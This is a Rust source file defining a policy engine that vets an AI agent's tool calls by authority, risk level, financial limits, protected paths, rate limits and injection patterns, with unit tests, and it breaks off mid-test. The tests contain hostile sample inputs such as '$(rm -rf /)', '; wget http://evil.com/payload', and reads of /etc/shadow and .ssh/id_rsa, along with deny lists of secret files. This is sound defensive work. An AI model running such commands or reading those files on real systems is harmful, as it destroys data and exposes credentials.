Skip to main content

roboticus_agent/
policy.rs

1use std::sync::Mutex;
2use std::time::{Duration, Instant};
3
4use serde_json::Value;
5
6use roboticus_core::{InputAuthority, PolicyDecision, RiskLevel, SurvivalTier};
7
8fn collect_string_values(value: &Value, out: &mut Vec<String>) {
9    match value {
10        Value::String(s) => out.push(s.clone()),
11        Value::Array(arr) => {
12            for v in arr {
13                collect_string_values(v, out);
14            }
15        }
16        Value::Object(map) => {
17            for v in map.values() {
18                collect_string_values(v, out);
19            }
20        }
21        _ => {}
22    }
23}
24
25pub trait PolicyRule: Send + Sync {
26    fn name(&self) -> &str;
27    fn priority(&self) -> u32;
28    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision;
29}
30
31#[derive(Debug, Clone)]
32pub struct PolicyContext {
33    pub authority: InputAuthority,
34    pub survival_tier: SurvivalTier,
35    /// Optional security claim from the RBAC resolution system.
36    /// When present, provides full provenance (grant sources, ceiling,
37    /// threat-downgrade status) for audit logging and advanced policy rules.
38    pub claim: Option<roboticus_core::SecurityClaim>,
39}
40
41#[derive(Debug, Clone)]
42pub struct ToolCallRequest {
43    pub tool_name: String,
44    pub params: Value,
45    pub risk_level: RiskLevel,
46}
47
48pub struct PolicyEngine {
49    rules: Vec<Box<dyn PolicyRule>>,
50}
51
52impl PolicyEngine {
53    pub fn new() -> Self {
54        Self { rules: Vec::new() }
55    }
56
57    pub fn add_rule(&mut self, rule: Box<dyn PolicyRule>) {
58        self.rules.push(rule);
59        self.rules.sort_by_key(|r| r.priority());
60    }
61
62    pub fn evaluate_all(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
63        for rule in &self.rules {
64            let decision = rule.evaluate(call, ctx);
65            if !decision.is_allowed() {
66                return decision;
67            }
68        }
69        PolicyDecision::Allow
70    }
71}
72
73impl Default for PolicyEngine {
74    fn default() -> Self {
75        Self::new()
76    }
77}
78
79/// Priority 1: restricts tool access based on input authority level.
80pub struct AuthorityRule;
81
82impl PolicyRule for AuthorityRule {
83    fn name(&self) -> &str {
84        "authority"
85    }
86
87    fn priority(&self) -> u32 {
88        1
89    }
90
91    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
92        let allowed = match ctx.authority {
93            InputAuthority::Creator => true,
94            InputAuthority::SelfGenerated => call.risk_level <= RiskLevel::Dangerous,
95            InputAuthority::Peer => call.risk_level <= RiskLevel::Caution,
96            InputAuthority::External => call.risk_level <= RiskLevel::Safe,
97        };
98
99        if allowed {
100            PolicyDecision::Allow
101        } else {
102            PolicyDecision::Deny {
103                rule: self.name().into(),
104                reason: format!(
105                    "{:?} authority cannot use {:?}-level tool '{}'",
106                    ctx.authority, call.risk_level, call.tool_name
107                ),
108            }
109        }
110    }
111}
112
113/// Priority 2: blocks Forbidden-risk tools unconditionally.
114pub struct CommandSafetyRule;
115
116impl PolicyRule for CommandSafetyRule {
117    fn name(&self) -> &str {
118        "command_safety"
119    }
120
121    fn priority(&self) -> u32 {
122        2
123    }
124
125    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
126        if call.risk_level == RiskLevel::Forbidden {
127            PolicyDecision::Deny {
128                rule: self.name().into(),
129                reason: format!("tool '{}' is forbidden", call.tool_name),
130            }
131        } else {
132            PolicyDecision::Allow
133        }
134    }
135}
136
137/// Priority 3: blocks high-value or sensitive financial operations.
138pub struct FinancialRule {
139    /// Maximum single transfer in dollars; transfers above are denied.
140    pub threshold_dollars: f64,
141}
142
143impl Default for FinancialRule {
144    fn default() -> Self {
145        Self {
146            threshold_dollars: 100.0,
147        }
148    }
149}
150
151impl FinancialRule {
152    pub fn new(threshold_dollars: f64) -> Self {
153        Self { threshold_dollars }
154    }
155
156    fn is_financial_tool(name: &str) -> bool {
157        let name_lower = name.to_lowercase();
158        [
159            "transfer", "send", "withdraw", "deposit", "payment", "wallet",
160        ]
161        .iter()
162        .any(|k| name_lower.contains(k))
163    }
164
165    fn extract_amount_cents(params: &Value) -> Option<i64> {
166        let obj = params.as_object()?;
167        // Explicit cent-denominated keys.
168        for key in ["amount_cents", "cents", "value_cents"] {
169            if let Some(v) = obj.get(key)
170                && let Some(n) = v.as_i64()
171            {
172                return Some(n);
173            }
174        }
175        // "amount" is dollar-denominated; accept either integer or float JSON.
176        if let Some(v) = obj.get("amount")
177            && let Some(n) = v.as_f64()
178        {
179            return Some((n * 100.0).round() as i64);
180        }
181        // Dollar-denominated keys
182        if let Some(v) = obj
183            .get("amount_dollars")
184            .or(obj.get("dollars"))
185            .or(obj.get("value"))
186            && let Some(n) = v.as_f64()
187        {
188            return Some((n * 100.0).round() as i64);
189        }
190        None
191    }
192
193    fn is_wallet_config_or_drain(params: &Value) -> bool {
194        let obj = match params.as_object() {
195            Some(o) => o,
196            None => return false,
197        };
198        let drain_keys = [
199            "drain",
200            "withdraw_all",
201            "export_private_key",
202            "set_wallet_path",
203        ];
204        for key in drain_keys {
205            if obj.contains_key(key) {
206                return true;
207            }
208        }
209        false
210    }
211}
212
213impl PolicyRule for FinancialRule {
214    fn name(&self) -> &str {
215        "financial"
216    }
217
218    fn priority(&self) -> u32 {
219        3
220    }
221
222    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
223        if !Self::is_financial_tool(&call.tool_name) {
224            return PolicyDecision::Allow;
225        }
226        if Self::is_wallet_config_or_drain(&call.params) {
227            return PolicyDecision::Deny {
228                rule: self.name().into(),
229                reason: "tool attempts to change wallet config or drain funds".into(),
230            };
231        }
232        let threshold_cents = (self.threshold_dollars * 100.0).round() as i64;
233        if let Some(cents) = Self::extract_amount_cents(&call.params)
234            && cents > threshold_cents
235        {
236            return PolicyDecision::Deny {
237                rule: self.name().into(),
238                reason: format!(
239                    "amount {} cents exceeds threshold ${:.2}",
240                    cents, self.threshold_dollars
241                ),
242            };
243        }
244        PolicyDecision::Allow
245    }
246}
247
248/// Priority 4: blocks access to protected path patterns and enforces
249/// workspace-only confinement for agent file tools.
250pub struct PathProtectionRule {
251    /// Path patterns that are not allowed in tool arguments.
252    pub protected: Vec<String>,
253    /// When true, absolute paths outside `/tmp` and `tool_allowed_paths` are
254    /// denied (workspace-only mode).
255    pub workspace_only: bool,
256    /// Absolute paths that tools may access even in workspace_only mode.
257    /// Auto-populated from feature configs (e.g. `obsidian.vault_path`).
258    pub tool_allowed_paths: Vec<std::path::PathBuf>,
259}
260
261impl Default for PathProtectionRule {
262    fn default() -> Self {
263        Self {
264            protected: vec![
265                "/etc/".into(),
266                ".env".into(),
267                "wallet.json".into(),
268                "private_key".into(),
269                ".ssh/".into(),
270                "roboticus.toml".into(),
271            ],
272            workspace_only: true,
273            tool_allowed_paths: Vec::new(),
274        }
275    }
276}
277
278impl PathProtectionRule {
279    pub fn new(protected: Vec<String>) -> Self {
280        Self {
281            protected,
282            workspace_only: true,
283            tool_allowed_paths: Vec::new(),
284        }
285    }
286
287    /// Build from the `[security.filesystem]` config section.
288    /// Merges `protected_paths` + `extra_protected_paths`, reads
289    /// `workspace_only` flag, and imports `tool_allowed_paths` so that
290    /// configured external directories (e.g. Obsidian vault) are reachable
291    /// even in workspace-only mode.
292    pub fn from_config(fs_cfg: &roboticus_core::config::FilesystemSecurityConfig) -> Self {
293        let mut protected = fs_cfg.protected_paths.clone();
294        protected.extend(fs_cfg.extra_protected_paths.iter().cloned());
295        Self {
296            protected,
297            workspace_only: fs_cfg.workspace_only,
298            tool_allowed_paths: fs_cfg.tool_allowed_paths.clone(),
299        }
300    }
301
302    fn matches_protected(&self, s: &str) -> Option<&str> {
303        let s_lower = s.to_lowercase();
304        for pattern in &self.protected {
305            let p_lower = pattern.to_lowercase();
306            if s_lower.contains(&p_lower) || s_lower.ends_with(p_lower.trim_end_matches('/')) {
307                return Some(pattern);
308            }
309        }
310        None
311    }
312}
313
314impl PolicyRule for PathProtectionRule {
315    fn name(&self) -> &str {
316        "path_protection"
317    }
318
319    fn priority(&self) -> u32 {
320        4
321    }
322
323    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
324        let mut strings = Vec::new();
325        collect_string_values(&call.params, &mut strings);
326
327        // Workspace-only gate: deny absolute paths outside /tmp unless they
328        // fall under a configured `tool_allowed_paths` entry.  Relative paths
329        // are fine — they resolve against the workspace root in the tool layer
330        // (resolve_workspace_path).
331        if self.workspace_only {
332            for s in &strings {
333                let p = std::path::Path::new(s);
334                if p.is_absolute() && !s.starts_with("/tmp") {
335                    let whitelisted = self
336                        .tool_allowed_paths
337                        .iter()
338                        .any(|allowed| p.starts_with(allowed));
339                    if !whitelisted {
340                        return PolicyDecision::Deny {
341                            rule: self.name().into(),
342                            reason: format!(
343                                "workspace_only mode: absolute path '{}' outside /tmp and configured allowed paths",
344                                s
345                            ),
346                        };
347                    }
348                }
349            }
350        }
351
352        // Blacklist scan: check all string values against protected patterns.
353        for s in &strings {
354            if let Some(pattern) = self.matches_protected(s) {
355                return PolicyDecision::Deny {
356                    rule: self.name().into(),
357                    reason: format!("protected path pattern '{}' not allowed", pattern),
358                };
359            }
360        }
361        PolicyDecision::Allow
362    }
363}
364
365/// Priority 5: rate-limits tool calls per tool name.
366pub struct RateLimitRule {
367    max_calls_per_minute: u32,
368    /// tool_name -> timestamps of recent calls
369    calls: Mutex<std::collections::HashMap<String, Vec<Instant>>>,
370}
371
372impl Default for RateLimitRule {
373    fn default() -> Self {
374        Self {
375            max_calls_per_minute: 30,
376            calls: Mutex::new(std::collections::HashMap::new()),
377        }
378    }
379}
380
381impl RateLimitRule {
382    pub fn new(max_calls_per_minute: u32) -> Self {
383        Self {
384            max_calls_per_minute,
385            calls: Mutex::new(std::collections::HashMap::new()),
386        }
387    }
388
389    fn prune_older_than(cuts: &mut Vec<Instant>, cutoff: Instant) {
390        cuts.retain(|&t| t > cutoff);
391    }
392}
393
394impl PolicyRule for RateLimitRule {
395    fn name(&self) -> &str {
396        "rate_limit"
397    }
398
399    fn priority(&self) -> u32 {
400        5
401    }
402
403    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
404        let now = Instant::now();
405        let window_start = now - Duration::from_secs(60);
406        let mut guard = self.calls.lock().unwrap_or_else(|e| e.into_inner());
407        let cuts = guard.entry(call.tool_name.clone()).or_default();
408        Self::prune_older_than(cuts, window_start);
409        if cuts.len() >= self.max_calls_per_minute as usize {
410            return PolicyDecision::Deny {
411                rule: self.name().into(),
412                reason: format!(
413                    "tool '{}' rate limit exceeded (max {} per minute)",
414                    call.tool_name, self.max_calls_per_minute
415                ),
416            };
417        }
418        cuts.push(now);
419        PolicyDecision::Allow
420    }
421}
422
423/// Priority 6: validates argument size and blocks malicious patterns.
424pub struct ValidationRule;
425
426const MAX_ARG_SIZE_BYTES: usize = 100 * 1024; // 100KB
427
428impl ValidationRule {
429    fn serialized_size(value: &Value) -> usize {
430        value.to_string().len()
431    }
432
433    fn looks_malicious(s: &str) -> bool {
434        let s_lower = s.to_lowercase();
435        // Shell injection
436        if s.contains('$') && (s.contains('(') || s.contains('`') || s.contains("${")) {
437            return true;
438        }
439        if s.contains("; ")
440            && (s_lower.contains("rm ") || s_lower.contains("curl ") || s_lower.contains("wget "))
441        {
442            return true;
443        }
444        // Path traversal
445        if s.contains("..") && (s.contains('/') || s.contains('\\')) {
446            return true;
447        }
448        false
449    }
450}
451
452impl PolicyRule for ValidationRule {
453    fn name(&self) -> &str {
454        "validation"
455    }
456
457    fn priority(&self) -> u32 {
458        6
459    }
460
461    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
462        if Self::serialized_size(&call.params) > MAX_ARG_SIZE_BYTES {
463            return PolicyDecision::Deny {
464                rule: self.name().into(),
465                reason: format!(
466                    "arguments exceed maximum size ({} bytes)",
467                    MAX_ARG_SIZE_BYTES
468                ),
469            };
470        }
471        let mut strings = Vec::new();
472        collect_string_values(&call.params, &mut strings);
473        for s in &strings {
474            if Self::looks_malicious(s) {
475                return PolicyDecision::Deny {
476                    rule: self.name().into(),
477                    reason: "arguments contain potentially malicious pattern (shell injection or path traversal)".into(),
478                };
479            }
480        }
481        PolicyDecision::Allow
482    }
483}
484
485#[cfg(test)]
486mod tests {
487    use super::*;
488
489    fn make_request(tool: &str, risk: RiskLevel) -> ToolCallRequest {
490        ToolCallRequest {
491            tool_name: tool.into(),
492            params: serde_json::json!({}),
493            risk_level: risk,
494        }
495    }
496
497    #[test]
498    fn authority_based_blocking() {
499        let mut engine = PolicyEngine::new();
500        engine.add_rule(Box::new(AuthorityRule));
501
502        let ctx_external = PolicyContext {
503            authority: InputAuthority::External,
504            survival_tier: SurvivalTier::Normal,
505            claim: None,
506        };
507
508        assert!(
509            engine
510                .evaluate_all(&make_request("echo", RiskLevel::Safe), &ctx_external)
511                .is_allowed()
512        );
513
514        assert!(
515            !engine
516                .evaluate_all(&make_request("rm_file", RiskLevel::Caution), &ctx_external)
517                .is_allowed()
518        );
519
520        let ctx_creator = PolicyContext {
521            authority: InputAuthority::Creator,
522            survival_tier: SurvivalTier::Normal,
523            claim: None,
524        };
525        assert!(
526            engine
527                .evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx_creator)
528                .is_allowed()
529        );
530
531        let ctx_self = PolicyContext {
532            authority: InputAuthority::SelfGenerated,
533            survival_tier: SurvivalTier::Normal,
534            claim: None,
535        };
536        assert!(
537            engine
538                .evaluate_all(&make_request("cmd", RiskLevel::Dangerous), &ctx_self)
539                .is_allowed()
540        );
541        assert!(
542            !engine
543                .evaluate_all(&make_request("cmd", RiskLevel::Forbidden), &ctx_self)
544                .is_allowed()
545        );
546    }
547
548    #[test]
549    fn command_safety_blocks_forbidden() {
550        let mut engine = PolicyEngine::new();
551        engine.add_rule(Box::new(CommandSafetyRule));
552
553        let ctx = PolicyContext {
554            authority: InputAuthority::Creator,
555            survival_tier: SurvivalTier::Normal,
556            claim: None,
557        };
558
559        assert!(
560            !engine
561                .evaluate_all(&make_request("evil", RiskLevel::Forbidden), &ctx)
562                .is_allowed()
563        );
564        assert!(
565            engine
566                .evaluate_all(&make_request("good", RiskLevel::Dangerous), &ctx)
567                .is_allowed()
568        );
569    }
570
571    #[test]
572    fn allow_pass_through() {
573        let mut engine = PolicyEngine::new();
574        engine.add_rule(Box::new(AuthorityRule));
575        engine.add_rule(Box::new(CommandSafetyRule));
576
577        let ctx = PolicyContext {
578            authority: InputAuthority::Creator,
579            survival_tier: SurvivalTier::High,
580            claim: None,
581        };
582
583        let decision = engine.evaluate_all(&make_request("read_file", RiskLevel::Safe), &ctx);
584        assert!(decision.is_allowed());
585    }
586
587    #[test]
588    fn financial_rule_blocks_high_value_allows_low() {
589        let rule = FinancialRule::new(100.0);
590        let ctx = PolicyContext {
591            authority: InputAuthority::Creator,
592            survival_tier: SurvivalTier::Normal,
593            claim: None,
594        };
595
596        let low = ToolCallRequest {
597            tool_name: "transfer".into(),
598            params: serde_json::json!({ "amount_cents": 5000 }),
599            risk_level: RiskLevel::Safe,
600        };
601        assert!(rule.evaluate(&low, &ctx).is_allowed());
602
603        let high = ToolCallRequest {
604            tool_name: "send".into(),
605            params: serde_json::json!({ "amount_dollars": 150.0 }),
606            risk_level: RiskLevel::Safe,
607        };
608        assert!(!rule.evaluate(&high, &ctx).is_allowed());
609
610        let non_financial = ToolCallRequest {
611            tool_name: "read_file".into(),
612            params: serde_json::json!({ "path": "/tmp/foo" }),
613            risk_level: RiskLevel::Safe,
614        };
615        assert!(rule.evaluate(&non_financial, &ctx).is_allowed());
616    }
617
618    #[test]
619    fn financial_rule_blocks_wallet_drain() {
620        let rule = FinancialRule::default();
621        let ctx = PolicyContext {
622            authority: InputAuthority::Creator,
623            survival_tier: SurvivalTier::Normal,
624            claim: None,
625        };
626
627        let drain = ToolCallRequest {
628            tool_name: "wallet_export".into(),
629            params: serde_json::json!({ "export_private_key": true }),
630            risk_level: RiskLevel::Safe,
631        };
632        assert!(!rule.evaluate(&drain, &ctx).is_allowed());
633    }
634
635    #[test]
636    fn path_protection_blocks_env_allows_normal() {
637        let rule = PathProtectionRule::default();
638        let ctx = PolicyContext {
639            authority: InputAuthority::Creator,
640            survival_tier: SurvivalTier::Normal,
641            claim: None,
642        };
643
644        let blocked = ToolCallRequest {
645            tool_name: "read_file".into(),
646            params: serde_json::json!({ "path": "/app/.env" }),
647            risk_level: RiskLevel::Safe,
648        };
649        let decision = rule.evaluate(&blocked, &ctx);
650        assert!(!decision.is_allowed());
651        if let PolicyDecision::Deny { reason, .. } = &decision {
652            assert!(reason.contains(".env") || reason.contains("protected"));
653        }
654
655        let allowed = ToolCallRequest {
656            tool_name: "read_file".into(),
657            params: serde_json::json!({ "path": "/tmp/foo.txt" }),
658            risk_level: RiskLevel::Safe,
659        };
660        assert!(rule.evaluate(&allowed, &ctx).is_allowed());
661    }
662
663    #[test]
664    fn rate_limit_blocks_over_limit_allows_under() {
665        let rule = RateLimitRule::new(2);
666        let ctx = PolicyContext {
667            authority: InputAuthority::Creator,
668            survival_tier: SurvivalTier::Normal,
669            claim: None,
670        };
671
672        let req = |tool: &str| ToolCallRequest {
673            tool_name: tool.into(),
674            params: serde_json::json!({}),
675            risk_level: RiskLevel::Safe,
676        };
677
678        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
679        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
680        assert!(!rule.evaluate(&req("foo"), &ctx).is_allowed());
681
682        assert!(rule.evaluate(&req("bar"), &ctx).is_allowed());
683    }
684
685    #[test]
686    fn validation_rejects_oversized_and_malicious() {
687        let rule = ValidationRule;
688        let ctx = PolicyContext {
689            authority: InputAuthority::Creator,
690            survival_tier: SurvivalTier::Normal,
691            claim: None,
692        };
693
694        let huge = ToolCallRequest {
695            tool_name: "echo".into(),
696            params: serde_json::json!({ "data": "x".repeat(101 * 1024) }),
697            risk_level: RiskLevel::Safe,
698        };
699        assert!(!rule.evaluate(&huge, &ctx).is_allowed());
700
701        let shell_injection = ToolCallRequest {
702            tool_name: "run".into(),
703            params: serde_json::json!({ "cmd": "$(rm -rf /)" }),
704            risk_level: RiskLevel::Safe,
705        };
706        assert!(!rule.evaluate(&shell_injection, &ctx).is_allowed());
707
708        let path_traversal = ToolCallRequest {
709            tool_name: "read".into(),
710            params: serde_json::json!({ "path": "../../../etc/passwd" }),
711            risk_level: RiskLevel::Safe,
712        };
713        assert!(!rule.evaluate(&path_traversal, &ctx).is_allowed());
714
715        let ok = ToolCallRequest {
716            tool_name: "echo".into(),
717            params: serde_json::json!({ "msg": "hello" }),
718            risk_level: RiskLevel::Safe,
719        };
720        assert!(rule.evaluate(&ok, &ctx).is_allowed());
721    }
722
723    // ── collect_string_values for nested structures ──────────────────
724
725    #[test]
726    fn collect_string_values_nested_arrays() {
727        let val = serde_json::json!([["a", "b"], ["c"]]);
728        let mut out = Vec::new();
729        collect_string_values(&val, &mut out);
730        assert_eq!(out, vec!["a", "b", "c"]);
731    }
732
733    #[test]
734    fn collect_string_values_nested_objects() {
735        let val = serde_json::json!({"a": {"b": "deep", "c": 42}, "d": "top"});
736        let mut out = Vec::new();
737        collect_string_values(&val, &mut out);
738        assert!(out.contains(&"deep".to_string()));
739        assert!(out.contains(&"top".to_string()));
740        assert_eq!(out.len(), 2); // numbers are skipped
741    }
742
743    #[test]
744    fn collect_string_values_mixed() {
745        let val = serde_json::json!({
746            "items": [{"name": "file.txt"}, {"name": "dir/sub.py"}],
747            "count": 2,
748            "flag": true,
749            "label": "test"
750        });
751        let mut out = Vec::new();
752        collect_string_values(&val, &mut out);
753        assert!(out.contains(&"file.txt".to_string()));
754        assert!(out.contains(&"dir/sub.py".to_string()));
755        assert!(out.contains(&"test".to_string()));
756        assert_eq!(out.len(), 3);
757    }
758
759    #[test]
760    fn collect_string_values_primitives_skipped() {
761        let val = serde_json::json!(42);
762        let mut out = Vec::new();
763        collect_string_values(&val, &mut out);
764        assert!(out.is_empty());
765
766        let val = serde_json::json!(true);
767        collect_string_values(&val, &mut out);
768        assert!(out.is_empty());
769
770        let val = serde_json::json!(null);
771        collect_string_values(&val, &mut out);
772        assert!(out.is_empty());
773    }
774
775    // ── Peer authority level ─────────────────────────────────────────
776
777    #[test]
778    fn authority_peer_allows_safe_blocks_caution() {
779        let rule = AuthorityRule;
780        let ctx = PolicyContext {
781            authority: InputAuthority::Peer,
782            survival_tier: SurvivalTier::Normal,
783            claim: None,
784        };
785
786        assert!(
787            rule.evaluate(&make_request("echo", RiskLevel::Safe), &ctx)
788                .is_allowed()
789        );
790        assert!(
791            rule.evaluate(&make_request("read_file", RiskLevel::Caution), &ctx)
792                .is_allowed()
793        );
794        assert!(
795            !rule
796                .evaluate(&make_request("write_file", RiskLevel::Dangerous), &ctx)
797                .is_allowed()
798        );
799    }
800
801    // ── FinancialRule extract_amount_cents variants ───────────────────
802
803    #[test]
804    fn financial_extract_amount_cents_various_keys() {
805        // "amount" key (dollars -> cents)
806        assert_eq!(
807            FinancialRule::extract_amount_cents(&serde_json::json!({"amount": 5000})),
808            Some(500000)
809        );
810        // "amount_cents" key
811        assert_eq!(
812            FinancialRule::extract_amount_cents(&serde_json::json!({"amount_cents": 3000})),
813            Some(3000)
814        );
815        // "cents" key
816        assert_eq!(
817            FinancialRule::extract_amount_cents(&serde_json::json!({"cents": 1500})),
818            Some(1500)
819        );
820        // "value_cents" key
821        assert_eq!(
822            FinancialRule::extract_amount_cents(&serde_json::json!({"value_cents": 2000})),
823            Some(2000)
824        );
825        // "dollars" key (converted to cents)
826        assert_eq!(
827            FinancialRule::extract_amount_cents(&serde_json::json!({"dollars": 25.0})),
828            Some(2500)
829        );
830        // "value" key (converted to cents)
831        assert_eq!(
832            FinancialRule::extract_amount_cents(&serde_json::json!({"value": 10.50})),
833            Some(1050)
834        );
835        // No matching key
836        assert_eq!(
837            FinancialRule::extract_amount_cents(&serde_json::json!({"other": 42})),
838            None
839        );
840        // Non-object
841        assert_eq!(
842            FinancialRule::extract_amount_cents(&serde_json::json!("not an object")),
843            None
844        );
845    }
846
847    #[test]
848    fn financial_is_financial_tool_names() {
849        assert!(FinancialRule::is_financial_tool("transfer_usdc"));
850        assert!(FinancialRule::is_financial_tool("send_payment"));
851        assert!(FinancialRule::is_financial_tool("withdraw_funds"));
852        assert!(FinancialRule::is_financial_tool("deposit_eth"));
853        assert!(FinancialRule::is_financial_tool("process_payment"));
854        assert!(FinancialRule::is_financial_tool("wallet_balance"));
855        assert!(!FinancialRule::is_financial_tool("read_file"));
856        assert!(!FinancialRule::is_financial_tool("echo"));
857    }
858
859    #[test]
860    fn financial_wallet_config_drain_patterns() {
861        assert!(FinancialRule::is_wallet_config_or_drain(
862            &serde_json::json!({"drain": true})
863        ));
864        assert!(FinancialRule::is_wallet_config_or_drain(
865            &serde_json::json!({"withdraw_all": true})
866        ));
867        assert!(FinancialRule::is_wallet_config_or_drain(
868            &serde_json::json!({"export_private_key": true})
869        ));
870        assert!(FinancialRule::is_wallet_config_or_drain(
871            &serde_json::json!({"set_wallet_path": "/tmp/evil"})
872        ));
873        assert!(!FinancialRule::is_wallet_config_or_drain(
874            &serde_json::json!({"amount": 100})
875        ));
876        assert!(!FinancialRule::is_wallet_config_or_drain(
877            &serde_json::json!("not an object")
878        ));
879    }
880
881    // ── ValidationRule looks_malicious patterns ──────────────────────
882
883    #[test]
884    fn validation_looks_malicious_wget() {
885        let rule = ValidationRule;
886        let ctx = PolicyContext {
887            authority: InputAuthority::Creator,
888            survival_tier: SurvivalTier::Normal,
889            claim: None,
890        };
891
892        let wget_inject = ToolCallRequest {
893            tool_name: "run".into(),
894            params: serde_json::json!({ "cmd": "; wget http://evil.com/payload" }),
895            risk_level: RiskLevel::Safe,
896        };
897        assert!(!rule.evaluate(&wget_inject, &ctx).is_allowed());
898    }
899
900    #[test]
901    fn validation_looks_malicious_backtick() {
902        let rule = ValidationRule;
903        let ctx = PolicyContext {
904            authority: InputAuthority::Creator,
905            survival_tier: SurvivalTier::Normal,
906            claim: None,
907        };
908
909        let backtick = ToolCallRequest {
910            tool_name: "run".into(),
911            params: serde_json::json!({ "cmd": "echo $(`whoami`)" }),
912            risk_level: RiskLevel::Safe,
913        };
914        assert!(!rule.evaluate(&backtick, &ctx).is_allowed());
915    }
916
917    #[test]
918    fn validation_looks_malicious_dollar_brace() {
919        let rule = ValidationRule;
920        let ctx = PolicyContext {
921            authority: InputAuthority::Creator,
922            survival_tier: SurvivalTier::Normal,
923            claim: None,
924        };
925
926        let dollar_brace = ToolCallRequest {
927            tool_name: "run".into(),
928            params: serde_json::json!({ "cmd": "echo ${SECRET}" }),
929            risk_level: RiskLevel::Safe,
930        };
931        assert!(!rule.evaluate(&dollar_brace, &ctx).is_allowed());
932    }
933
934    // ── Path protection with nested params ───────────────────────────
935
936    #[test]
937    fn path_protection_detects_nested_protected_paths() {
938        let rule = PathProtectionRule::default();
939        let ctx = PolicyContext {
940            authority: InputAuthority::Creator,
941            survival_tier: SurvivalTier::Normal,
942            claim: None,
943        };
944
945        let nested = ToolCallRequest {
946            tool_name: "process".into(),
947            params: serde_json::json!({
948                "files": [{"path": "/etc/shadow"}]
949            }),
950            risk_level: RiskLevel::Safe,
951        };
952        assert!(!rule.evaluate(&nested, &ctx).is_allowed());
953    }
954
955    #[test]
956    fn path_protection_wallet_json() {
957        let rule = PathProtectionRule::default();
958        let ctx = PolicyContext {
959            authority: InputAuthority::Creator,
960            survival_tier: SurvivalTier::Normal,
961            claim: None,
962        };
963
964        let wallet = ToolCallRequest {
965            tool_name: "read_file".into(),
966            params: serde_json::json!({ "path": "data/wallet.json" }),
967            risk_level: RiskLevel::Safe,
968        };
969        assert!(!rule.evaluate(&wallet, &ctx).is_allowed());
970    }
971
972    #[test]
973    fn path_protection_ssh_dir() {
974        let rule = PathProtectionRule::default();
975        let ctx = PolicyContext {
976            authority: InputAuthority::Creator,
977            survival_tier: SurvivalTier::Normal,
978            claim: None,
979        };
980
981        let ssh = ToolCallRequest {
982            tool_name: "read_file".into(),
983            params: serde_json::json!({ "path": ".ssh/id_rsa" }),
984            risk_level: RiskLevel::Safe,
985        };
986        assert!(!rule.evaluate(&ssh, &ctx).is_allowed());
987    }
988
989    // ── PolicyEngine ordering ────────────────────────────────────────
990
991    #[test]
992    fn engine_evaluates_rules_in_priority_order() {
993        let mut engine = PolicyEngine::new();
994        engine.add_rule(Box::new(ValidationRule)); // priority 6
995        engine.add_rule(Box::new(AuthorityRule)); // priority 1
996        engine.add_rule(Box::new(CommandSafetyRule)); // priority 2
997
998        // Authority check (priority 1) should run first
999        let ctx = PolicyContext {
1000            authority: InputAuthority::External,
1001            survival_tier: SurvivalTier::Normal,
1002            claim: None,
1003        };
1004        let decision = engine.evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx);
1005        assert!(!decision.is_allowed());
1006        if let PolicyDecision::Deny { rule, .. } = &decision {
1007            assert_eq!(rule, "authority", "authority rule should fire first");
1008        }
1009    }
1010
1011    #[test]
1012    fn engine_default_is_empty() {
1013        let engine = PolicyEngine::default();
1014        let ctx = PolicyContext {
1015            authority: InputAuthority::External,
1016            survival_tier: SurvivalTier::Normal,
1017            claim: None,
1018        };
1019        // No rules -> allow
1020        assert!(
1021            engine
1022                .evaluate_all(&make_request("anything", RiskLevel::Forbidden), &ctx)
1023                .is_allowed()
1024        );
1025    }
1026
1027    // ── PathProtectionRule workspace_only + from_config ────────────
1028
1029    #[test]
1030    fn path_protection_workspace_only_blocks_absolute() {
1031        let rule = PathProtectionRule {
1032            protected: vec![],
1033            workspace_only: true,
1034            tool_allowed_paths: vec![],
1035        };
1036        let ctx = PolicyContext {
1037            authority: InputAuthority::Creator,
1038            survival_tier: SurvivalTier::Normal,
1039            claim: None,
1040        };
1041
1042        let abs = ToolCallRequest {
1043            tool_name: "read_file".into(),
1044            params: serde_json::json!({ "path": "/home/user/secret.txt" }),
1045            risk_level: RiskLevel::Safe,
1046        };
1047        assert!(
1048            !rule.evaluate(&abs, &ctx).is_allowed(),
1049            "workspace_only should block absolute paths outside /tmp"
1050        );
1051
1052        let tmp = ToolCallRequest {
1053            tool_name: "write_file".into(),
1054            params: serde_json::json!({ "path": "/tmp/scratch.txt" }),
1055            risk_level: RiskLevel::Safe,
1056        };
1057        assert!(
1058            rule.evaluate(&tmp, &ctx).is_allowed(),
1059            "workspace_only should allow /tmp paths"
1060        );
1061
1062        let relative = ToolCallRequest {
1063            tool_name: "read_file".into(),
1064            params: serde_json::json!({ "path": "src/main.rs" }),
1065            risk_level: RiskLevel::Safe,
1066        };
1067        assert!(
1068            rule.evaluate(&relative, &ctx).is_allowed(),
1069            "workspace_only should allow relative paths"
1070        );
1071    }
1072
1073    #[test]
1074    fn path_protection_workspace_only_disabled() {
1075        let rule = PathProtectionRule {
1076            protected: vec![],
1077            workspace_only: false,
1078            tool_allowed_paths: vec![],
1079        };
1080        let ctx = PolicyContext {
1081            authority: InputAuthority::Creator,
1082            survival_tier: SurvivalTier::Normal,
1083            claim: None,
1084        };
1085
1086        let abs = ToolCallRequest {
1087            tool_name: "read_file".into(),
1088            params: serde_json::json!({ "path": "/home/user/document.txt" }),
1089            risk_level: RiskLevel::Safe,
1090        };
1091        assert!(
1092            rule.evaluate(&abs, &ctx).is_allowed(),
1093            "workspace_only=false should allow absolute paths"
1094        );
1095    }
1096
1097    #[test]
1098    fn path_protection_from_config_merges_lists() {
1099        let cfg = roboticus_core::config::FilesystemSecurityConfig {
1100            workspace_only: false,
1101            protected_paths: vec![".env".into(), "secret.key".into()],
1102            extra_protected_paths: vec!["custom.pem".into()],
1103            script_fs_confinement: true,
